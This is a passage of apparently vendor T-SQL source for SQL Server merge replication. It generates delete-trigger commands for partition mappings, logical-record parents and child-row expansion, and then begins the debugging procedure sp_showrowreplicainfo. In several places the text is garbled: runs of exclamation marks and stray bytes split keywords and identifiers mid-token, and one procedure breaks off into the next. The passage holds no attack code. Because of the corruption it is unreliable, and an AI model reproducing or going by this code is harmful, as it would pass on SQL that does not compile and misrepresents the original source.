    if @article_rows_deleted = 1
        delete from ' + @quoted_current_mappings_viewname + ' with (rowlock)
        where tablenick = @tablenick
        and rowguid = @rowguid
    else'
            else
                select @command2 = ''
            select @command2 = @command2 + '
        delete from ' + !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
7N˚v=@quoted_current_mappings_viewname + ' with (rowlock)
        from deleted d
        JOIN ' + @quoted_current_mappings_viewname + ' cpm with (rowlock)
        ON cpm.tablenick = @tablenick
        and cpm.rowguid = d.' + @quoted_rgcol + '
        option (force order, loop join) ' 
    
            insert into #tmptriggercmd (phase, cmdtext) values (3, @command2)
    
            declare partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
            select partition_view_id, pubid, partition_deleted_view_rule
            from dbo.sysmergepartitioninfoview 
            where nickname = @tablenick
            and partition_view_id is not null -- if partition_view_id is NULL, this publication is not using partition groups
            for read only

            open partition_view_ids

            fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_deleted_view_rule
            while (@@fetch_status <> -1)
            begin

                select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

                select @partition_view_name = 'dbo.' + quotename(object_name(@partition_view_id))
                
                if @partition_view_name is not null
                begin

                --handle the case when there is a delete cascade constraint. When the following conditions are satisfied, we 
                -- need to delete the rows from all partitions:
                --		(1) the ON DELETE CASCADE constraint is set
                --		(2) the rows in the parent table do not exist
                -- (yiche)

               declare   @join_table_name nvarchar(270),   -- the parent table name
                		@join_filter_clause nvarchar(270),
                		@parent_partition_view_name nvarchar(517) -- the partition view name for the parent table

		declare @jt nvarchar(270) -- the unquoted name for the join_table_name
		select @jt = join_articlename, @join_filter_clause  = join_filterclause  
		from dbo.sysmergesubsetfilters
		where pubid = @pubid and artid = @artid  -- note that an article might belongs to multiple publication

		select @join_table_name = QUOTENAME(@jt)

		select @parent_partition_view_name = 'dbo.' + QUOTENAME(object_name(partition_view_id))
		from dbo.sysmergepartitioninfoview, sys.objects
		where object_name(objid) = @jt	and object_id = @objid and pubid = @pubid

		if ( not exists (select * 
					from sys.foreign_keys fks JOIN dbo.sysmergearticles art
					on fks.parent_object_id = art.objid
					where fks.delete_referential_action = 1 --on delete cascade
						and art.nickname = @tablenick )
		    OR ( @join_filter_clause IS NULL )
		) --endif
		begin
		                     

    
                    select @command2 = '
         -- update any ppm row that already exist with this gen
         update ppm set ppm.generation = case when @is_mergeagent = 1 then 0 else @newgen end
         from ' + @quoted_past_mappings_viewname + ' ppm with (rowlock) inner join deleted v
         on ppm.tablenick =@tablenick  and ppm.rowguid = v.' + @quoted_rgcol + '
         -- insert the past partition mapping into gen 0 if this is the merge agent 
        insert into ' + @quoted_past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation,reason)
        select distinct ' + convert(nvarchar(100), @publication_number) + ', @tablenick, v.' + @quoted_rgcol + ', v.partition_id, case when @is_mergeagent = 1 then 0 else @newgen end, 1
        from ( ' + @partition_deleted_view_rule + ' ) as v   
        if (@@ROWCOUNT <= 0)
        begin
             select @xe_message = CAST(''replica_id: '' + convert(nvarchar(100), @replnick) + '', article_id: '' + convert(nvarchar(100), @tablenick) + '', rowguid: '' + case when @article_rows_deleted = 1 then convert(nvarchar(100), @rowguid) else N''0'' end + '', generation: '' + case when @is_mergeagent = 1 then N''0'' else convert(nvarchar(100), @newgen) end + '', Reason: -1'' AS varbinary(1000));
            exec master..sp_repl_generateevent 1, N''Event : ppm_insert'', @xe_message
        end
        '

        	end 
        	else
        	begin

			select @command2 = '
				-- update any ppm row that already exist with this gen
				update ppm set ppm.generation = case when @is_mergeagent = 1 then 0 else @newgen end
				from ' + @quoted_past_mappings_viewname + ' ppm with (rowlock) inner join deleted v
				on ppm.tablenick =@tablenick  and ppm.rowguid = v.' + @quoted_rgcol + '
				if ( not exists (select *
						from deleted ' + QUOTENAME(@source_table) + '  JOIN  ' + @parent_partition_view_name + '  ' + @join_table_name + '
						  on ( '+ @join_filter_clause+' ) )) 
				begin
					insert into ' + @quoted_past_mappings_viewname + ' with (rowlock) ( publication_number, tablenick, rowguid, partition_id, generation, reason)
					select distinct ' + convert( nvarchar(100), @publication_number)+', @tablenick, v.' + @quoted_rgcol +', -1, case when @is_mergeagent = 1 then 0 else @newgen end, 1
					from deleted as v
				end 
				else
				begin
				        insert into ' + @quoted_past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation,reason)
				        select distinct ' + convert(nvarchar(100), @publication_number) + ', @tablenick, v.' + @quoted_rgcol + ', v.partition_id, case when @is_mergeagent = 1 then 0 else @newgen end, 1
				        from ( ' + @partition_deleted_view_rule + ' ) as v 				
				end
				if (@@ROWCOUNT <= 0)
				begin
				    select @xe_message = CAST(''replica_id: '' + convert(nvarchar(100), @replnick) + '', article_id: '' + convert(nvarchar(100), @tablenick) + '', rowguid: '' + case when @article_rows_deleted = 1 then convert(nvarchar(100), @rowguid) else N''0'' end + '', generation: '' + case when @is_mergeagent = 1 then N''0'' else convert(nvarchar(100), @newgen) end + '', Reason: -1'' AS varbinary(1000));
				    exec master..sp_repl_generateevent 1, N''Event : ppm_insert'', @xe_message
				end
			'

        	end
        
                    insert into #tmptriggercmd (phase, cmdtext) values (3, @command2)
                end
            
                fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_deleted_view_rule
            end
        end

        if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
        begin
            select @command = '
            declare @logical_record_rowguid_parent_rowguid_mapping table (rowguid uniqueidentifier, logical_record_parent_rowguid uniqueidentifier) '
            
            insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
            
            if @is_top_level_logical_record_parent = 0
            begin
                select @command = '        
    insert into @logical_record_rowguid_parent_rowguid_mapping
    select ' + @quoted_rgcol + ', logical_record_parent_rowguid from (' + @logical_record_deleted_view_rule + ') as lrdvr
    where lrdvr.logical_record_parent_rowguid is not null
    
    insert into @logical_record_distinct_parent_rowguids 
    select distinct logical_record_parent_rowguid from @logical_record_rowguid_parent_rowguid_mapping
        
    select @num_parent_rows = @@rowcount
        
    if @num_parent_rows = 1
    begin
        -- this could happen when all rows being inserted are the children of the same parent row.
        select @logical_record_parent_rowguid = logical_record_parent_rowguid from @logical_record_distinct_parent_rowguids
        exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata ' + convert(nvarchar, @logical_record_parent_nickname) + ', @logical_record_parent_rowguid, @replnick, @parent_row_inserted output
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
    end
    else if @num_parent_rows > 1
    begin
        sele!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
7v=ct top 1 @logical_record_parent_oldmaxversion = maxversion_at_cleanup
        from dbo.sysmergearticles
        where nickname = ' + convert(nvarchar,@logical_record_parent_nickname) + '
        
        -- the code below will get an open generation for the parent
        select @logical_record_parent_gencur = NULL
        select top 1 @logical_record_parent_gencur = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
            where art_nick = ' + convert(nvarchar,@logical_record_parent_nickname) + ' 
                and genstatus = 0'
                if @level_generations_in_trigger = 1
                    select @command = @command + '
                and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '-isnull(@num_parent_rows,0))'
                select @command = @command + '
        if @logical_record_parent_gencur is NULL
        begin
            insert into ' + @quoted_genhistory_viewname + '  with (rowlock)
                (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                   values (newid(), 0, ' + convert(nvarchar,@logical_record_parent_nickname) + ', @nickbin, @dt, @num_parent_rows)
            select @error = @@error, @logical_record_parent_gencur = @@identity    
            if @error<>0 or @logical_record_parent_gencur is NULL
                goto FAILURE
        end'
                if @level_generations_in_trigger = 1
                    select @command = @command + '
        else
        begin
            -- do the update right away to change the changecount to include the rows that we just put in the generation
            update ' + @quoted_genhistory_viewname + '  with (rowlock)
            set changecount = changecount + @num_parent_rows
            where generation = @logical_record_parent_gencur 
            if @@error<>0 goto FAILURE
        end'
                insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
            
                select @command = '
        update ' + @quoted_viewname + '  with (rowlock)
        set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) },
        generation = @logical_record_parent_gencur
        from @logical_record_distinct_parent_rowguids lrpg join ' + @quoted_viewname + ' with (rowlock)
        on tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
        and rowguid = lrpg.logical_record_parent_rowguid
        option (force order, loop join)
            
        delete from @logical_record_distinct_parent_rowguids
        where logical_record_parent_rowguid in (select rowguid from ' + @quoted_viewname + '
            where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + ')
                
        -- Now @logical_record_distinct_parent_rowguids is left with parent rowguids that are not present in MSmerge_contents.
        if exists (select * from @logical_record_distinct_parent_rowguids)
        begin
            select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
            
            -- if no cleanup done yet, use 1 as the version.
            if @logical_record_parent_oldmaxversion = 1
                select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
            else 
                select @logical_record_parent_regular_lineage = @logical_record_lineage
            
            insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen,                                             
                logical_record_parent_rowguid, logical_record_lineage) 
            select distinct ' + convert(nvarchar, @logical_record_parent_nickname) + ', lrpg.logical_record_parent_rowguid, 
                @logical_record_lineage, 0x00, @logical_record_parent_gencur, NULL, lrpg.logical_record_parent_rowguid, 
                @logical_record_lineage
            from @logical_record_distinct_parent_rowguids lrpg
            where not exists (select rowguid from ' + @quoted_viewname + ' with (rowlock) where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
                                and rowguid = lrpg.logical_record_parent_rowguid)
        end
    end '
        
                insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
                                            
                -- if partition groups functionality is being used, we need to insert the partition ids for these 
                -- newly inserted contents rows. 
            
                declare lrp_partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
                select partition_view_id, pubid, objid
                from dbo.sysmergepartitioninfoview where nickname = @logical_record_parent_nickname
                and partition_view_id is not null
                for read only

                open lrp_partition_view_ids

                fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid

                while (@@fetch_status <> -1)
                begin
                    
                    select top 1 @lrp_publication_number = publication_number from dbo.sysmergepublications where pubid = @lrp_pubid
                    select @lrp_rgcol = quotename(name) from sys.columns where object_id = @lrp_objid and is_rowguidcol = 1
                    select @lrp_partition_view_name = 'dbo.' + quotename(object_name(@lrp_partition_view_id))
                    if @lrp_partition_view_name is not null
                    begin

                        select @command = NULL
                        select @command = '
        if @num_parent_rows = 1
        begin
        -- if we did not insert the parent row, we have no business inserting the mapping row.
            if @parent_row_inserted = 1
            begin
                insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
                + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
                from ' + @lrp_partition_view_name + ' as v  with (rowlock)
                where v.' + @lrp_rgcol + ' = @logical_record_parent_rowguid 
            end
        end
        else
        insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
        select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
        + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
            from @logical_record_distinct_parent_rowguids as lrpg, ' + @lrp_partition_view_name + ' as v with (rowlock)
            where v.' + @lrp_rgcol + ' = lrpg.logical_record_parent_rowguid 
            and not exists (select * from ' + @quoted_current_mappings_viewname + ' mcpg with (rowlock)
                    where mcpg.tablenick = ' + convert(nvarchar,@logical_record_parent_nickname) + '
                    and mcpg.rowguid = v.' + @lrp_rgcol + ')
            '
            
                        insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
                    end
                
                    fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid
                end

                close lrp_partition_view_ids
                deallocate lrp_partition_view_ids
            end
        end
        
        if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
        begin
            select @command = ' 
            update ts with (rowlock) set ts.logical_record_parent!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
7!B.v=_rowguid = lrrprm.logical_record_parent_rowguid
            from @logical_record_rowguid_parent_rowguid_mapping lrrprm, ' + @quoted_tsview + ' ts with (rowlock)
            where ts.tablenick = @tablenick 
            and ts.rowguid = lrrprm.rowguid 
            option (force order, loop join) '
        
            insert into #tmptriggercmd (phase, cmdtext) values (3, @command)
        end


        -- this expansion code is only needed on the publisher
        if @article_published = 1
        begin
        
            -- Logical records are based on PK-FK relationships. So when a parent row is deleted, it can be safely
            -- assumed that none of the child rows exist (they should have been deleted beforehand). 
            -- As a result, the following expansion code will not
            -- find any children if logical records are in use. So, don't need to worry about determining the 
            -- logical_record_parent_rowguid for the child rows brought in via expansion below.

            declare immediate_children CURSOR LOCAL FAST_FORWARD FOR 
            select distinct quotename(object_name(sma.objid)), sma.objid, sma.nickname, 'dbo.' + quotename(object_name(sma.partition_view_id)), 
                        ssf.join_filterid, ssf.join_filterclause, ssf.join_unique_key, sma.expand_proc, sma.pubid, sma.column_tracking
            from dbo.sysmergesubsetfilters ssf, dbo.sysmergepartitioninfoview sma 
            where ssf.join_nickname = @tablenick
            and sma.nickname = ssf.art_nickname
            and sma.pubid = ssf.pubid
            and ssf.filter_type = 1
            and sma.partition_view_id is not null
            for read only

            open immediate_children

            fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking

            if (@@fetch_status <> -1)
            begin
                select @command3 = '
    declare @child_marker uniqueidentifier
    declare @child_rowcount int
    set @child_marker = newid()    '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            end

            while (@@fetch_status <> -1)
            begin
            
                exec @retcode = sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints @pubid = @pubid,
                                                                        @join_filter_id = @join_filter_id,
                                                                        @dri_based = @child_cannot_pre_exist output,
    																	@unique_constraint_based = @parent_columns_unique output
                                                                        
                if @@error <> 0 or @retcode <> 0
                    return 1
                    
                if @child_cannot_pre_exist = 1
                    goto DeleteTriggerGetNextChild
                
                select @owner_qualified_immediate_child_table_name = 
                    quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(object_id))
                from sys.objects with (nolock) where object_id =
                    (select top 1 repl_view_id from dbo.sysmergepartitioninfoview
                    where pubid = @pubid and objid = @immediate_child_objid)
            
                select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

                select  top 1 @child_join_colname = name from sys.columns where object_id = @immediate_child_objid
                and sys.fn_MSisfilteredcolumn(@join_filterclause, name, @immediate_child_objid) = 1 

                select @child_rgcol = quotename(name) from sys.columns where object_id = @immediate_child_objid and is_rowguidcol = 1

                if @join_unique_key = 0 or @parent_columns_unique = 0
                begin
                    select @command3 = '
    select @child_rowcount = count(*) from ' 
    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
    where ' + @child_rgcol + ' in 
        (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from 
        deleted ' + quotename(object_name(@objid)) + ', '
        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
        where ' + '(' + @join_filterclause + ')' + ')
    '
                end
                else
                begin
                    select @command3 = '
    select @child_rowcount = count(*) from 
        deleted ' + quotename(object_name(@objid)) + ', '
        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
    where ' + '(' + @join_filterclause + ')
    '
                end
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                            
                -- touch the immediate children of deleted rows
                select @command3 = '
    if @child_rowcount > 0
    begin
        select @child_oldmaxversion= maxversion_at_cleanup 
            from dbo.sysmergearticles 
            where nickname = ' + convert(nvarchar, @immediate_child_nickname) + '
            
        -- the code below will get an open generation for the child article
        select @child_newgen = NULL
        select top 1 @child_newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
            where art_nick = ' + convert(nvarchar,@immediate_child_nickname) + ' 
                and genstatus = 0'
                if @level_generations_in_trigger = 1
                    select @command3 = @command3 + '
                and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '- isnull(@child_rowcount,0))'
                select @command3 = @command3 + '
        if @child_newgen is NULL
        begin
            insert into ' + @quoted_genhistory_viewname + '  with (rowlock)
                (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                   values (newid(), 0, ' + convert(nvarchar,@immediate_child_nickname) + ', @nickbin, @dt, @child_rowcount)
            select @error=@@error, @child_newgen = @@identity    
            if @error<>0 or @child_newgen is NULL
                goto FAILURE
        end'
                if @level_generations_in_trigger = 1
                    select @command3 = @command3 + '
        else
        begin
            -- do the update right away to change the changecount to include the rows that we just put in the generation
            update ' + @quoted_genhistory_viewname + '  with (rowlock)
            set changecount = changecount + @child_rowcount
            where generation = @child_newgen 
            if @@error<>0 goto FAILURE
        end'


                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                            
                if @join_unique_key = 0 or @parent_columns_unique = 0
                begin
                    select @command3 = '
        update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
        from ' + @quoted_viewname + ' mc with (rowlock)
        where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
        and mc.rowguid in 
            (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from 
            deleted ' + quotename(object_name(@objid)) + ', '
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + '(' + @join_filterclause + ')' + ') '
                en!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
7('0[v=d
                else
                begin
                    select @command3 = '
        update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
        from 
        deleted ' + quotename(object_name(@objid)) + ', '
        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock), '
        + @quoted_viewname + ' mc with (rowlock) 
        where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
        and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
        and ' + '(' + @join_filterclause + ') '
                end

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                    
                select @command3 = '
        select @child_metadatarows_updated = @@rowcount '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select @command3 = '
        if @child_metadatarows_updated < @child_rowcount '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                set @command3 = '
        begin
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @child_oldmaxversion+1) } '

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                if @child_has_col_tracking = 1
                    set @command3 =  '
                set @cv = 0xFF '
                else 
                    set @command3 = ' 
                set @cv = NULL '
            
                set @command3 = @command3 + '
                insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker)  '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                if @join_unique_key = 0 or @parent_columns_unique = 0
                begin
                    set @command3 = '
            select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', @child_newgen, @lineage, @cv, @child_marker
            from ' 
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + @child_rgcol + ' in 
                (select  ' + @immediate_child_table_name + '.' + @child_rgcol + ' from 
                deleted ' + quotename(object_name(@objid)) + ', '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                where ' + '(' + @join_filterclause + ')' + ')
            and not exists 
                (select * from ' + @quoted_viewname + ' mc with (rowlock)
                where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                '
                end
                else
                begin
                    set @command3 = '
            select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
            from
                deleted ' + quotename(object_name(@objid)) + ', '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + '(' + @join_filterclause + ')' + '
            and not exists 
                (select * from ' + @quoted_viewname + ' mc with (rowlock)
                where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                '
                end

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select @command3 = '
        end    '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select @command3 = '
        delete ' + @quoted_current_mappings_viewname + ' with (rowlock) from 
        ' + @quoted_viewname + ' mc with (rowlock) join ' + @quoted_current_mappings_viewname + ' cpmv with (rowlock)
        on cpmv.tablenick = mc.tablenick
        and mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
        and cpmv.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
        and cpmv.rowguid = mc.rowguid
        and cpmv.publication_number = ' + convert(nvarchar, @publication_number) + '
        and mc.marker = @child_marker '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select @command3 = '
        insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
        select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
        from ' + @quoted_viewname + ' mc with (rowlock)
        JOIN ' + @immediate_child_partition_viewname + ' v with (rowlock)
        ON mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
        and mc.rowguid = v.' + @child_rgcol + '
        and mc.marker = @child_marker 
        '

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select top 1 @partition_deleted_view_rule = partition_deleted_view_rule 
                from dbo.sysmergepartitioninfoview 
                where pubid = @pubid 
                and nickname = @tablenick

                if @partition_deleted_view_rule is not null and @partition_deleted_view_rule <> ' '
                begin

                    select @command3 = '
        insert into ' + @quoted_past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation, reason)
        select distinct ' + convert(nvarchar, @publication_number) + ', ' + convert (nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', ' + 
                    quotename(object_name(@objid)) + '.partition_id, @child_newgen, 1
        from ( ' + @partition_deleted_view_rule + ' ) as ' + quotename(object_name(@objid)) 
        + ', ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
        where ' + '(' + @join_filterclause + ')
        '

                    insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                end
            
                if @child_expand_proc is not null and @child_expand_proc != ' '
                begin
                    set @command3 = '
        exec dbo.' + quotename(@child_expand_proc) + ' @marker = @child_marker, @inherit_pastchanges_generation = @child_newgen, @parent_being_updated = 0, @trigger_type = 2 '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                end

                select @command3 = '
    end    '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

DeleteTriggerGetNextChild:

                fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                    @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking
            end

            close immediate_children
            deallocate immediate_children
            
    end --  if @article_published = 1

    if @logical_record_view is not null
        set @command4 = '
    if @article_rows_deleted = 1
        delete from ' + @quoted_viewname + ' with (rowlock) where tablenick = @tablenick and rowguid = @rowguid
    else'
    else
        set @command4 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
8
*$v:Lcreate procedure sys.sp_showrowreplicainfo
    (@ownername sysname = NULL, @tablename sysname = NULL, @rowguid uniqueidentifier, @show nvarchar(20) = 'both')
as 
    set nocount on

    -- Security check
    if (1 <> is_member('db_owner') and
        not exists (select * from dbo.sysmergearticles a join dbo.MSmerge_contents c 
                        on a.nickname=c.tablenick
                        where c.rowguid=@rowguid and
                              1 = {fn ISPALUSER(a.pubid)}))
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

    -- some constants
    -- this stored proc is for debugging purposes, thus no need for localizing them
    declare @dbname sysname
    select @dbname= db_name()

    declare @missingcolname sysname
    set @missingcolname= '<Missing column>'

    declare @anonymousname sysname
    set @anonymousname= '<Anonymous subscriber>'

    declare @unknownname sysname
    set @unknownname= '<Unknown server name>'

    declare @mergename sysname
    set @mergename= '<Merge nickname>'

    declare @toohighlineageversion nvarchar(128)
    set @toohighlineageversion= 'Problem found: Version is higher than the one of the first entry.'

    declare @toohighcolvversion nvarchar(128)
    set @toohighcolvversion= 'Problem found: Version is higher than highest version in lineage.'

    declare @navalue sysname
    set @navalue= '<n/a>'

    declare @unknownvalue nvarchar(9)
    set @unknownvalue= '<unknown>'

    declare @qualified_tablename nvarchar(300)

    if @tablename is NULL
    begin
        set @tablename= (select top 1 object_name(objid) from dbo.sysmergearticles where 
                            nickname = (select tablenick from dbo.MSmerge_contents where rowguid = @rowguid))
    end

    if @tablename is NULL
    begin
        set @tablename= (select top 1 object_name(objid) from dbo.sysmergearticles where 
                            nickname = (select tablenick from dbo.MSmerge_tombstone where rowguid = @rowguid))
    end

    if @tablename is null
    begin
        raiserror (20513, 16, 1, @dbname)
        return 1
    end

    -- check whether given table exists
    if not exists (select * from sys.objects where type = 'U' and name = @tablename)
    begin
        raiserror (20507, 16, 1, @tablename, @dbname)
        return 1
    end

    if @ownername is not null
    begin
        select @qualified_tablename= quotename(@ownername) + '.' + quotename(@tablename)

        -- check whether table belongs to the given owner
        if object_id(@qualified_tablename, 'U') is NULL
        begin
            raiserror (20507, 16, 1, @qualified_tablename, @dbname)
            return 1
        end
    end
    else
        select @qualified_tablename= @tablename

    -- get tableid and tablenick from tablename
    declare @tableid int
    declare @tablenick int
    set @tableid= object_id(@qualified_tablename)
    select @tablenick = (select top 1 nickname from dbo.sysmergearticles where objid = @tableid)
    if @tablenick is null
    begin
        raiserror (20027, 16, 1, @tablename)
        return 1
    end

    -- check whether there is an entry for this row in either MSmerge_contents or MSmerge_tombstone
    declare @incontents int
    declare @lineage varbinary(311)
    select @lineage= lineage from dbo.MSmerge_contents where rowguid = @rowguid
    if @lineage is not null
    begin
        set @incontents= 1
    end
    else
    begin
        select @lineage= lineage from dbo.MSmerge_tombstone where rowguid = @rowguid
        if @lineage is not null
        begin
            set @incontents= 0
        end
        else
        begin
            raiserror(21511,10,1)
            return 0
        end
    end

    -- create temporary table for information about lineage and colv entries
    create table #results (    type nchar(7) null, 
                rowversion_table nchar(17) null, 
                server_name sysname null, 
                [db_name] sysname null,  
                db_nickname binary(6) not null,
                current_state nvarchar(9) null,
                colid smallint null, 
                colname sysname null, 
                version int not null, 
                comment nvarchar(255) null,
                position smallint null) 
    
    -- insert lineage information into temptable
    insert into #results (position, db_nickname, version) exec sys.sp_showlineage @lineage=@lineage
    update #results set type= 'lineage'
    if (@incontents = 1)
    begin
        update #results set rowversion_table = 'MSmerge_contents'
    end
    else
    begin
        update #results set rowversion_table = 'MSmerge_tombstone'
    end

    if (@incontents = 1) and (lower(@show collate SQL_Latin1_General_CP1_CS_AS) in ('both', 'columns'))
    begin
        -- insert colv information into temptable
        declare @colv varbinary(2953)
        select @colv= colv1 from dbo.MSmerge_contents where rowguid=@rowguid
        if @colv is not null
        begin
            insert into #results (colid, db_nickname, version) exec sys.sp_showcolv @colv=@colv
            update #results set type= 'colv' where type is null

            -- translate colids into column names
            if (select top 1 missing_col_count from dbo.sysmergearticles where nickname = @tablenick) = 0
            begin
                -- no missing cols: position of entries in colv correspond to colid in dbo.sysmergearticles
                update #results set colname = c.name from sys.columns c where #results.colid = c.column_id and c.object_id = @tableid
            end
            else
            begin
                -- missing cols: colv has entries for columns that do not exist in this db
                declare @colname sysname
                declare @ismissing int
                declare @missingsofar int
                declare @colid int
                declare @missingcols varbinary(128)
                select @missingcols= (select top 1 missing_cols from dbo.sysmergearticles where nickname = @tablenick)
                set @missingsofar= 0
                select @colid= (select min(colid) from #results where colname is null and colid is not null)
                while @colid is not null
                begin
                    -- is this column missing?
                    exec @ismissing= sys.sp_MStestbit @missingcols, @colid
                    if @ismissing <> 0
                    begin
                        update #results set colname= @missingcolname, server_name= @navalue, [db_name]= @navalue
                                             where colid = @colid
                        set @missingsofar= @missingsofar + 1
                    end
                    else
                    begin
                        select @colname= (select name from sys.columns where object_id = @tableid and column_id = (@colid - @missingsofar))
                        update #results set colname= @colname where colid = @colid
                    end
                    
                    select @colid= (select min(colid) from #results where colname is null and colid is not null)
                end
            end
        end
    end

    -- transform null comment to empty strings
    update #results set comment= ''

    -- translate nicknames in temptable into real db names; set server names, too
    declare @subid uniqueidentifier
    declare @servername sysname
    declare @replnick binary(6)
    declare @mergenickmin binary(1)
    declare @mergenickmax binary(1)
    declare @mergenicktail binary(5)

    set @mergenickmin= 0x01
    set @mergenickmax= 0x32 -- there are not more than 50 relevant entries in a lineage
    set @mergenicktail= 0x0000000000

    update #results set [db_name]= @mergename, server_name= @navalue where 
